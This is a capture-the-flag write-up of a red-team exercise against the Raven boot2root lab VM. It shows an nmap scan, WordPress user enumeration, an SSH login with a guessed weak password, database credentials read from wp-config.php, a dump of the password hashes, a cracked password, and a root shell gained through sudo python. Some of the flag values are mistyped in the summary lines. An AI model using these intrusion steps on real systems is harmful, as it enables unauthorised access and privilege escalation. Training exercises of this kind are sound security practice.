

Red Team: Summary of Operations

Table of Contents

- Exposed Services
- Critical Vulnerabilities
- Exploitation

Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

Command: nmap -sV 192.168.1.110

Scan Output:

```
root@Kali:~# nmap -sV 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-23 09:52 PDT
Nmap scan report for 192.168.1.110
Host is up (0.00057s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind      2-4 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://
/nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.73 seconds
root@Kali:~#
```

This scan identifies the services below as potential points of entry:

- Target 1
 - Port 22/TCP Open SSH
 - Port 80/TCP Open HTTP
 - Port 111/TCP Open rpcbind
 - Port 139/TCP Open netbios-ssn
 - Port 445/TCP Open netbios-ssn

The following vulnerabilities were identified on the target:

- Target 1
 - Wordpress Enumeration (revealed users)
 - Weak User Passwords
 - Unsalted User Password Hash (Steven's - found in mysql)
 - Privilege Escalation

Exploitation

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

Target 1:n

- **Flag1:** b9bbcb33ellb80be759c4e844862482d
 - **Exploit Used**
 - WPScan was used to enumerate users of the Wordpress site.
 - **Command:** wpscan --url http://192.168.1.110 --enumerate u

```
[i] User(s) Identified:
[+] steven
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] michael
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up
[+] Finished: Mon Aug 23 10:44:29 2021
[+] Requests Done: 27
[+] Cached Requests: 25
[+] Data Sent: 6.177 KB
[+] Data Received: 171.167 KB
[+] Memory used: 119.672 MB
[+] Elapsed time: 00:00:02
root@Kali:~#
```

- Attempting to SSH into system using user.
- Michael's password was easy to guess - "michael".
- **Command:** ssh michael@192.168.1.110
 - pw : michael
- **Command:** grep -rl flag1

```
michael@target1:/var/www/html$ grep -rl flag1 .
./service.html
michael@target1:/var/www/html$ grep -w flag1 /var/www/html/service.html
<!-- flag1{b9bbcb33e11b80be759c4e844862482d} -->
michael@target1:/var/www/html$
```

- Revealed flag1 was in the service.html file

The screenshot shows a terminal window with the title 'michael@target1:/var/www/html'. The window contains the GNU nano 2.2.6 text editor editing the file 'service.html'. The editor shows HTML code with several closing tags like </div>, </div>, </div>, </div>, </div>, and </div>. Below these, there is a comment <!-- End footer Area --> followed by a line where the flag1 value is highlighted in blue: <!-- flag1{b9bbcb33e11b80be759c4e844862482d} -->. Below this, there are several <script> tags with various JavaScript sources. At the bottom of the terminal, there is a status bar with various keyboard shortcuts like ^G Get Help, ^O WriteOut, ^R Read File, ^Y Prev Page, ^K Cut Text, ^C Cur Pos, ^X Exit, ^J Justify, ^W Where Is, ^V Next Page, ^U UnCut Tex, and ^T To Spell.

- **Flag2:** fc3fd5558dcdad9ab23faca6e9a3e581c
 - **Exploit Used**
 - Same ssh entry as flag1
 - **Command**
 - After finding flag 1, flag 2 was just a directory away.
 - Cd ..
 - Flag2 was found in the /var/www directory.

```

if ( !defined('ABSPATH') )
    define('ABSPATH', dirname(__FILE__) . '/');

/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');
michael@target1:/var/www/html/wordpress$ ls
index.php      wp-activate.php      wp-comments-post.php  wp-content
license.txt    wp-admin             wp-config.php         wp-cron.php
readme.html    wp-blog-header.php   wp-config-sample.php  wp-includes
michael@target1:/var/www/html/wordpress$ cd ../..
michael@target1:/var/www$ ls
flag2.txt      html
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
michael@target1:/var/www$ █

```

- **Flag3:**afc01ab56b50591e7dccf93122770cd2
 - **Exploit Used:**
 - Used directory traversal as Michael to find login information for MySQL.
 - **Commands:**
 - cd /var/www/html/wordpress
 - nano wp-config.php

```
michael@target1: /var/www/html/wordpress
File Actions Edit View Help

*
* @package WordPress
*/

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
```

- With this info, access to MySQL is possible.
- **Commands:**
- `mysql -h localhost -u root -p`
- `pwd: R@v3nSecurity`


```

Enter password:
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)
michael@target1:/$ mysql -h localhost -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 74
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

```

Status: Running

- Once in, flag 4 was found after running the following **Commands**:
 - Show databases;
 - Use wordpress;
 - Show tables;
 - Select * from wp_posts;

0		http://raven.local/wordpress/?p=4		2018-08-13 01:48:31		2018-08-13 01:48:31		draft		open		open
5		1		2018-08-12 23:31:59		2018-08-12 23:31:59		flag4{715dea6c055b9fe3337544932f2941ce}				0
4		http://raven.local/wordpress/index.php/2018/08/12/4-revision-v1/		2018-08-12 23:31:59		2018-08-12 23:31:59		inherit		closed		closed
7		2		2018-08-13 01:48:31		2018-08-13 01:48:31		flag3{afc01ab56b50591e7dccf93122770cd2}				0
4		http://raven.local/wordpress/index.php/2018/08/13/4-revision-v1/		2018-08-13 01:48:31		2018-08-13 01:48:31		inherit		closed		closed
								revision				0

- **Flag4:** 715dea6c055b9fe3337544932f2941ce
 - **Exploit Used**

- Flag4 was found in a similar manner as flag3.
- While still in the wordpress database, the following **command** revealed user hashes.
- `select * from wp_users;`

```
mysql> select * from wp_users;
+-----+-----+-----+-----+-----+
| ID | user_login | user_pass | user_nicename | user_email |
+-----+-----+-----+-----+-----+
| 1 | michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael | michael@raven.org |
| 2 | steven | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ | steven | steven@raven.org |
+-----+-----+-----+-----+-----+
2 rows in set (0.00 sec)

mysql>
```

- The tool crackstation.net cracked Steven's password as 'pink84'.
- I was able to SSH in as Steven, giving me a new user shell to explore.
- **Command:**
 - `ssh steven@192.168.1.110`
 - `pw: pink84`
- From here, a python script was used to escalate to root.
- **Command:**
 - `sudo python -c 'import pty;pty.spawn("/bin/bash")'`
 - `cd /root`
 - `ls`
 - `cat flag4.txt`

File Actions Edit View Help

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

Last login: Thu Aug 19 08:59:36 2021 from 192.168.1.90

\$ sudo -l

Matching Defaults entries for steven on raven:

env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User steven may run the following commands on raven:

(ALL) NOPASSWD: /usr/bin/python

\$ sudo python -c 'import pty;pty.spawn("/bin/bash")'

root@target1:/home/steven# cd /root

root@target1:~# ls

flag4.txt

root@target1:~# cat flag4.txt

```
-----
|  _ _ \
| |/_/_ _ _ _ _ _ _ _
|  _ _ \ _ _ \ _ _ \
| | \ \ | | \ \ / _ / | |
| \ \ \ | | \ \ / _ / | |
| \ \ \ | | \ \ / _ / | |
```

flag4{715dea6c055b9fe3337544932f2941ce}

CONGRATULATIONS on successfully rooting Raven!

This is my first Boot2Root VM - I hope you enjoyed it.

Hit me up on Twitter and let me know what you thought:

@mccannwj / wjmccann.github.io

root@target1:~# █